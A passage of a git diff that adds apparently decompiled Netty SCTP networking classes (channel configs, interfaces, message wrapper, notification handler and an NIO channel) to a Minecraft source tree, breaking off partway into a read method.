+  {
+    validate(option, value);
+    
+    if (option == SctpChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == SctpChannelOption.SO_SNDBUF) {
+      setSendBufferSize(((Integer)value).intValue());
+    } else if (option == SctpChannelOption.SCTP_NODELAY) {
+      setSctpNoDelay(((Boolean)value).booleanValue());
+    } else if (option == SctpChannelOption.SCTP_INIT_MAXSTREAMS) {
+      setInitMaxStreams((SctpStandardSocketOptions.InitMaxStreams)value);
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  public boolean isSctpNoDelay()
+  {
+    try {
+      return ((Boolean)javaChannel.getOption(SctpStandardSocketOptions.SCTP_NODELAY)).booleanValue();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public SctpChannelConfig setSctpNoDelay(boolean sctpNoDelay)
+  {
+    try {
+      javaChannel.setOption(SctpStandardSocketOptions.SCTP_NODELAY, Boolean.valueOf(sctpNoDelay));
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getSendBufferSize()
+  {
+    try {
+      return ((Integer)javaChannel.getOption(SctpStandardSocketOptions.SO_SNDBUF)).intValue();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public SctpChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    try {
+      javaChannel.setOption(SctpStandardSocketOptions.SO_SNDBUF, Integer.valueOf(sendBufferSize));
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getReceiveBufferSize()
+  {
+    try {
+      return ((Integer)javaChannel.getOption(SctpStandardSocketOptions.SO_RCVBUF)).intValue();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public SctpChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    try {
+      javaChannel.setOption(SctpStandardSocketOptions.SO_RCVBUF, Integer.valueOf(receiveBufferSize));
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public SctpStandardSocketOptions.InitMaxStreams getInitMaxStreams()
+  {
+    try {
+      return (SctpStandardSocketOptions.InitMaxStreams)javaChannel.getOption(SctpStandardSocketOptions.SCTP_INIT_MAXSTREAMS);
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public SctpChannelConfig setInitMaxStreams(SctpStandardSocketOptions.InitMaxStreams initMaxStreams)
+  {
+    try {
+      javaChannel.setOption(SctpStandardSocketOptions.SCTP_INIT_MAXSTREAMS, initMaxStreams);
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public SctpChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public SctpChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public SctpChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public SctpChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public SctpChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public SctpChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public SctpChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public SctpChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public SctpChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public SctpChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/DefaultSctpServerChannelConfig.java b/src/minecraft/io/netty/channel/sctp/DefaultSctpServerChannelConfig.java
new file mode 100644
index 0000000..e8087f3
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/DefaultSctpServerChannelConfig.java
@@ -0,0 +1,218 @@
+package io.netty.channel.sctp;
+
+import com.sun.nio.sctp.SctpStandardSocketOptions;
+import com.sun.nio.sctp.SctpStandardSocketOptions.InitMaxStreams;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.util.NetUtil;
+import java.io.IOException;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSctpServerChannelConfig
+  extends DefaultChannelConfig
+  implements SctpServerChannelConfig
+{
+  private final com.sun.nio.sctp.SctpServerChannel javaChannel;
+  private volatile int backlog = NetUtil.SOMAXCONN;
+  
+
+
+
+  public DefaultSctpServerChannelConfig(SctpServerChannel channel, com.sun.nio.sctp.SctpServerChannel javaChannel)
+  {
+    super(channel);
+    if (javaChannel == null) {
+      throw new NullPointerException("javaChannel");
+    }
+    this.javaChannel = javaChannel;
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_RCVBUF, ChannelOption.SO_SNDBUF, SctpChannelOption.SCTP_INIT_MAXSTREAMS });
+  }
+  
+
+
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == ChannelOption.SO_SNDBUF) {
+      return Integer.valueOf(getSendBufferSize());
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_SNDBUF) {
+      setSendBufferSize(((Integer)value).intValue());
+    } else if (option == SctpStandardSocketOptions.SCTP_INIT_MAXSTREAMS) {
+      setInitMaxStreams((SctpStandardSocketOptions.InitMaxStreams)value);
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  public int getSendBufferSize()
+  {
+    try {
+      return ((Integer)javaChannel.getOption(SctpStandardSocketOptions.SO_SNDBUF)).intValue();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public SctpServerChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    try {
+      javaChannel.setOption(SctpStandardSocketOptions.SO_SNDBUF, Integer.valueOf(sendBufferSize));
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getReceiveBufferSize()
+  {
+    try {
+      return ((Integer)javaChannel.getOption(SctpStandardSocketOptions.SO_RCVBUF)).intValue();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public SctpServerChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    try {
+      javaChannel.setOption(SctpStandardSocketOptions.SO_RCVBUF, Integer.valueOf(receiveBufferSize));
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public SctpStandardSocketOptions.InitMaxStreams getInitMaxStreams()
+  {
+    try {
+      return (SctpStandardSocketOptions.InitMaxStreams)javaChannel.getOption(SctpStandardSocketOptions.SCTP_INIT_MAXSTREAMS);
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  public SctpServerChannelConfig setInitMaxStreams(SctpStandardSocketOptions.InitMaxStreams initMaxStreams)
+  {
+    try {
+      javaChannel.setOption(SctpStandardSocketOptions.SCTP_INIT_MAXSTREAMS, initMaxStreams);
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public int getBacklog()
+  {
+    return backlog;
+  }
+  
+  public SctpServerChannelConfig setBacklog(int backlog)
+  {
+    if (backlog < 0) {
+      throw new IllegalArgumentException("backlog: " + backlog);
+    }
+    this.backlog = backlog;
+    return this;
+  }
+  
+  public SctpServerChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public SctpServerChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/SctpChannel.java b/src/minecraft/io/netty/channel/sctp/SctpChannel.java
new file mode 100644
index 0000000..fbec458
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/SctpChannel.java
@@ -0,0 +1,35 @@
+package io.netty.channel.sctp;
+
+import com.sun.nio.sctp.Association;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.util.Set;
+
+public abstract interface SctpChannel
+  extends Channel
+{
+  public abstract SctpServerChannel parent();
+  
+  public abstract Association association();
+  
+  public abstract InetSocketAddress localAddress();
+  
+  public abstract Set<InetSocketAddress> allLocalAddresses();
+  
+  public abstract SctpChannelConfig config();
+  
+  public abstract InetSocketAddress remoteAddress();
+  
+  public abstract Set<InetSocketAddress> allRemoteAddresses();
+  
+  public abstract ChannelFuture bindAddress(InetAddress paramInetAddress);
+  
+  public abstract ChannelFuture bindAddress(InetAddress paramInetAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture unbindAddress(InetAddress paramInetAddress);
+  
+  public abstract ChannelFuture unbindAddress(InetAddress paramInetAddress, ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/channel/sctp/SctpChannelConfig.java b/src/minecraft/io/netty/channel/sctp/SctpChannelConfig.java
new file mode 100644
index 0000000..fbe537b
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/SctpChannelConfig.java
@@ -0,0 +1,47 @@
+package io.netty.channel.sctp;
+
+import com.sun.nio.sctp.SctpStandardSocketOptions.InitMaxStreams;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+
+public abstract interface SctpChannelConfig
+  extends ChannelConfig
+{
+  public abstract boolean isSctpNoDelay();
+  
+  public abstract SctpChannelConfig setSctpNoDelay(boolean paramBoolean);
+  
+  public abstract int getSendBufferSize();
+  
+  public abstract SctpChannelConfig setSendBufferSize(int paramInt);
+  
+  public abstract int getReceiveBufferSize();
+  
+  public abstract SctpChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract SctpStandardSocketOptions.InitMaxStreams getInitMaxStreams();
+  
+  public abstract SctpChannelConfig setInitMaxStreams(SctpStandardSocketOptions.InitMaxStreams paramInitMaxStreams);
+  
+  public abstract SctpChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract SctpChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract SctpChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract SctpChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract SctpChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract SctpChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract SctpChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract SctpChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  public abstract SctpChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract SctpChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/sctp/SctpChannelOption.java b/src/minecraft/io/netty/channel/sctp/SctpChannelOption.java
new file mode 100644
index 0000000..fbb40d3
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/SctpChannelOption.java
@@ -0,0 +1,51 @@
+package io.netty.channel.sctp;
+
+import com.sun.nio.sctp.SctpStandardSocketOptions.InitMaxStreams;
+import io.netty.channel.ChannelOption;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SctpChannelOption<T>
+  extends ChannelOption<T>
+{
+  public static final SctpChannelOption<Boolean> SCTP_DISABLE_FRAGMENTS = new SctpChannelOption("SCTP_DISABLE_FRAGMENTS");
+  
+  public static final SctpChannelOption<Boolean> SCTP_EXPLICIT_COMPLETE = new SctpChannelOption("SCTP_EXPLICIT_COMPLETE");
+  
+  public static final SctpChannelOption<Integer> SCTP_FRAGMENT_INTERLEAVE = new SctpChannelOption("SCTP_FRAGMENT_INTERLEAVE");
+  
+  public static final SctpChannelOption<SctpStandardSocketOptions.InitMaxStreams> SCTP_INIT_MAXSTREAMS = new SctpChannelOption("SCTP_INIT_MAXSTREAMS");
+  
+
+  public static final SctpChannelOption<Boolean> SCTP_NODELAY = new SctpChannelOption("SCTP_NODELAY");
+  
+  public static final SctpChannelOption<SocketAddress> SCTP_PRIMARY_ADDR = new SctpChannelOption("SCTP_PRIMARY_ADDR");
+  
+  public static final SctpChannelOption<SocketAddress> SCTP_SET_PEER_PRIMARY_ADDR = new SctpChannelOption("SCTP_SET_PEER_PRIMARY_ADDR");
+  
+
+
+
+  @Deprecated
+  protected SctpChannelOption(String name)
+  {
+    super(name);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/SctpMessage.java b/src/minecraft/io/netty/channel/sctp/SctpMessage.java
new file mode 100644
index 0000000..39c3f60
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/SctpMessage.java
@@ -0,0 +1,168 @@
+package io.netty.channel.sctp;
+
+import com.sun.nio.sctp.MessageInfo;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.DefaultByteBufHolder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SctpMessage
+  extends DefaultByteBufHolder
+{
+  private final int streamIdentifier;
+  private final int protocolIdentifier;
+  private final MessageInfo msgInfo;
+  
+  public SctpMessage(int protocolIdentifier, int streamIdentifier, ByteBuf payloadBuffer)
+  {
+    super(payloadBuffer);
+    this.protocolIdentifier = protocolIdentifier;
+    this.streamIdentifier = streamIdentifier;
+    msgInfo = null;
+  }
+  
+
+
+
+
+  public SctpMessage(MessageInfo msgInfo, ByteBuf payloadBuffer)
+  {
+    super(payloadBuffer);
+    if (msgInfo == null) {
+      throw new NullPointerException("msgInfo");
+    }
+    this.msgInfo = msgInfo;
+    streamIdentifier = msgInfo.streamNumber();
+    protocolIdentifier = msgInfo.payloadProtocolID();
+  }
+  
+
+
+  public int streamIdentifier()
+  {
+    return streamIdentifier;
+  }
+  
+
+
+  public int protocolIdentifier()
+  {
+    return protocolIdentifier;
+  }
+  
+
+
+
+  public MessageInfo messageInfo()
+  {
+    return msgInfo;
+  }
+  
+
+
+  public boolean isComplete()
+  {
+    if (msgInfo != null) {
+      return msgInfo.isComplete();
+    }
+    
+    return true;
+  }
+  
+
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    
+    if ((o == null) || (getClass() != o.getClass())) {
+      return false;
+    }
+    
+    SctpMessage sctpFrame = (SctpMessage)o;
+    
+    if (protocolIdentifier != protocolIdentifier) {
+      return false;
+    }
+    
+    if (streamIdentifier != streamIdentifier) {
+      return false;
+    }
+    
+    if (!content().equals(sctpFrame.content())) {
+      return false;
+    }
+    
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    int result = streamIdentifier;
+    result = 31 * result + protocolIdentifier;
+    result = 31 * result + content().hashCode();
+    return result;
+  }
+  
+  public SctpMessage copy()
+  {
+    if (msgInfo == null) {
+      return new SctpMessage(protocolIdentifier, streamIdentifier, content().copy());
+    }
+    return new SctpMessage(msgInfo, content().copy());
+  }
+  
+
+  public SctpMessage duplicate()
+  {
+    if (msgInfo == null) {
+      return new SctpMessage(protocolIdentifier, streamIdentifier, content().duplicate());
+    }
+    return new SctpMessage(msgInfo, content().copy());
+  }
+  
+
+  public SctpMessage retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public SctpMessage retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public String toString()
+  {
+    if (refCnt() == 0) {
+      return "SctpFrame{streamIdentifier=" + streamIdentifier + ", protocolIdentifier=" + protocolIdentifier + ", data=(FREED)}";
+    }
+    
+
+    return "SctpFrame{streamIdentifier=" + streamIdentifier + ", protocolIdentifier=" + protocolIdentifier + ", data=" + ByteBufUtil.hexDump(content()) + '}';
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/SctpNotificationHandler.java b/src/minecraft/io/netty/channel/sctp/SctpNotificationHandler.java
new file mode 100644
index 0000000..abc8faa
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/SctpNotificationHandler.java
@@ -0,0 +1,72 @@
+package io.netty.channel.sctp;
+
+import com.sun.nio.sctp.AbstractNotificationHandler;
+import com.sun.nio.sctp.AssociationChangeNotification;
+import com.sun.nio.sctp.HandlerResult;
+import com.sun.nio.sctp.Notification;
+import com.sun.nio.sctp.PeerAddressChangeNotification;
+import com.sun.nio.sctp.SendFailedNotification;
+import com.sun.nio.sctp.ShutdownNotification;
+import io.netty.channel.ChannelPipeline;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SctpNotificationHandler
+  extends AbstractNotificationHandler<Object>
+{
+  private final SctpChannel sctpChannel;
+  
+  public SctpNotificationHandler(SctpChannel sctpChannel)
+  {
+    if (sctpChannel == null) {
+      throw new NullPointerException("sctpChannel");
+    }
+    this.sctpChannel = sctpChannel;
+  }
+  
+  public HandlerResult handleNotification(AssociationChangeNotification notification, Object o)
+  {
+    fireEvent(notification);
+    return HandlerResult.CONTINUE;
+  }
+  
+  public HandlerResult handleNotification(PeerAddressChangeNotification notification, Object o)
+  {
+    fireEvent(notification);
+    return HandlerResult.CONTINUE;
+  }
+  
+  public HandlerResult handleNotification(SendFailedNotification notification, Object o)
+  {
+    fireEvent(notification);
+    return HandlerResult.CONTINUE;
+  }
+  
+  public HandlerResult handleNotification(ShutdownNotification notification, Object o)
+  {
+    fireEvent(notification);
+    sctpChannel.close();
+    return HandlerResult.RETURN;
+  }
+  
+  private void fireEvent(Notification notification) {
+    sctpChannel.pipeline().fireUserEventTriggered(notification);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/sctp/SctpServerChannel.java b/src/minecraft/io/netty/channel/sctp/SctpServerChannel.java
new file mode 100644
index 0000000..4dc6f9b
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/SctpServerChannel.java
@@ -0,0 +1,26 @@
+package io.netty.channel.sctp;
+
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ServerChannel;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.util.Set;
+
+public abstract interface SctpServerChannel
+  extends ServerChannel
+{
+  public abstract SctpServerChannelConfig config();
+  
+  public abstract InetSocketAddress localAddress();
+  
+  public abstract Set<InetSocketAddress> allLocalAddresses();
+  
+  public abstract ChannelFuture bindAddress(InetAddress paramInetAddress);
+  
+  public abstract ChannelFuture bindAddress(InetAddress paramInetAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture unbindAddress(InetAddress paramInetAddress);
+  
+  public abstract ChannelFuture unbindAddress(InetAddress paramInetAddress, ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/channel/sctp/SctpServerChannelConfig.java b/src/minecraft/io/netty/channel/sctp/SctpServerChannelConfig.java
new file mode 100644
index 0000000..82df93a
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/SctpServerChannelConfig.java
@@ -0,0 +1,47 @@
+package io.netty.channel.sctp;
+
+import com.sun.nio.sctp.SctpStandardSocketOptions.InitMaxStreams;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+
+public abstract interface SctpServerChannelConfig
+  extends ChannelConfig
+{
+  public abstract int getBacklog();
+  
+  public abstract SctpServerChannelConfig setBacklog(int paramInt);
+  
+  public abstract int getSendBufferSize();
+  
+  public abstract SctpServerChannelConfig setSendBufferSize(int paramInt);
+  
+  public abstract int getReceiveBufferSize();
+  
+  public abstract SctpServerChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract SctpStandardSocketOptions.InitMaxStreams getInitMaxStreams();
+  
+  public abstract SctpServerChannelConfig setInitMaxStreams(SctpStandardSocketOptions.InitMaxStreams paramInitMaxStreams);
+  
+  public abstract SctpServerChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract SctpServerChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract SctpServerChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract SctpServerChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract SctpServerChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract SctpServerChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract SctpServerChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract SctpServerChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  public abstract SctpServerChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract SctpServerChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/sctp/nio/NioSctpChannel.java b/src/minecraft/io/netty/channel/sctp/nio/NioSctpChannel.java
new file mode 100644
index 0000000..9cedf94
--- /dev/null
+++ b/src/minecraft/io/netty/channel/sctp/nio/NioSctpChannel.java
@@ -0,0 +1,405 @@
+package io.netty.channel.sctp.nio;
+
+import com.sun.nio.sctp.Association;
+import com.sun.nio.sctp.MessageInfo;
+import com.sun.nio.sctp.NotificationHandler;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.nio.AbstractNioMessageChannel;
+import io.netty.channel.nio.NioEventLoop;
+import io.netty.channel.sctp.DefaultSctpChannelConfig;
+import io.netty.channel.sctp.SctpChannelConfig;
+import io.netty.channel.sctp.SctpMessage;
+import io.netty.channel.sctp.SctpNotificationHandler;
+import io.netty.channel.sctp.SctpServerChannel;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.SelectionKey;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioSctpChannel
+  extends AbstractNioMessageChannel
+  implements io.netty.channel.sctp.SctpChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(NioSctpChannel.class);
+  
+  private final SctpChannelConfig config;
+  private final NotificationHandler<?> notificationHandler;
+  private RecvByteBufAllocator.Handle allocHandle;
+  
+  private static com.sun.nio.sctp.SctpChannel newSctpChannel()
+  {
+    try
+    {
+      return com.sun.nio.sctp.SctpChannel.open();
+    } catch (IOException e) {
+      throw new ChannelException("Failed to open a sctp channel.", e);
+    }
+  }
+  
+
+
+  public NioSctpChannel()
+  {
+    this(newSctpChannel());
+  }
+  
+
+
+  public NioSctpChannel(com.sun.nio.sctp.SctpChannel sctpChannel)
+  {
+    this(null, sctpChannel);
+  }
+  
+
+
+
+
+
+
+  public NioSctpChannel(Channel parent, com.sun.nio.sctp.SctpChannel sctpChannel)
+  {
+    super(parent, sctpChannel, 1);
+    try {
+      sctpChannel.configureBlocking(false);
+      config = new NioSctpChannelConfig(this, sctpChannel, null);
+      notificationHandler = new SctpNotificationHandler(this);
+    } catch (IOException e) {
+      try {
+        sctpChannel.close();
+      } catch (IOException e2) {
+        if (logger.isWarnEnabled()) {
+          logger.warn("Failed to close a partially initialized sctp channel.", e2);
+        }
+      }
+      
+
+      throw new ChannelException("Failed to enter non-blocking mode.", e);
+    }
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+  
+  public SctpServerChannel parent()
+  {
+    return (SctpServerChannel)super.parent();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public Association association()
+  {
+    try {
+      return javaChannel().association();
+    } catch (IOException ignored) {}
+    return null;
+  }
+  
+  public Set<InetSocketAddress> allLocalAddresses()
+  {
+    try
+    {
+      Set<SocketAddress> allLocalAddresses = javaChannel().getAllLocalAddresses();
+      Set<InetSocketAddress> addresses = new LinkedHashSet(allLocalAddresses.size());
+      for (SocketAddress socketAddress : allLocalAddresses) {
+        addresses.add((InetSocketAddress)socketAddress);
+      }
+      return addresses;
+    } catch (Throwable ignored) {}
+    return Collections.emptySet();
+  }
+  
+
+  public SctpChannelConfig config()
+  {
+    return config;
+  }
+  
+  public Set<InetSocketAddress> allRemoteAddresses()
+  {
+    try {
+      Set<SocketAddress> allLocalAddresses = javaChannel().getRemoteAddresses();
+      Set<InetSocketAddress> addresses = new HashSet(allLocalAddresses.size());
+      for (SocketAddress socketAddress : allLocalAddresses) {
+        addresses.add((InetSocketAddress)socketAddress);
+      }
+      return addresses;
+    } catch (Throwable ignored) {}
+    return Collections.emptySet();
+  }
+  
+
+  protected com.sun.nio.sctp.SctpChannel javaChannel()
+  {
+    return (com.sun.nio.sctp.SctpChannel)super.javaChannel();
+  }
+  
+  public boolean isActive()
+  {
+    com.sun.nio.sctp.SctpChannel ch = javaChannel();
+    return (ch.isOpen()) && (association() != null);
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    try {
+      Iterator<SocketAddress> i = javaChannel().getAllLocalAddresses().iterator();
+      if (i.hasNext()) {
+        return (SocketAddress)i.next();
+      }
+    }
+    catch (IOException e) {}
+    
+    return null;
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    try {
+      Iterator<SocketAddress> i = javaChannel().getRemoteAddresses().iterator();
+      if (i.hasNext()) {
+        return (SocketAddress)i.next();
+      }
+    }
+    catch (IOException e) {}
+    
+    return null;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    javaChannel().bind(localAddress);
+  }
+  
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress) throws Exception
+  {
+    if (localAddress != null) {
+      javaChannel().bind(localAddress);
+    }
+    
+    boolean success = false;
+    try {
+      boolean connected = javaChannel().connect(remoteAddress);
+      if (!connected) {
+        selectionKey().interestOps(8);
+      }
+      success = true;
+      return connected;
+    } finally {
+      if (!success) {
+        doClose();
+      }
+    }
+  }
+  
+  protected void doFinishConnect() throws Exception
+  {
+    if (!javaChannel().finishConnect()) {
+      throw new Error();
+    }
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    javaChannel().close();
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    com.sun.nio.sctp.SctpChannel ch = javaChannel();
+    
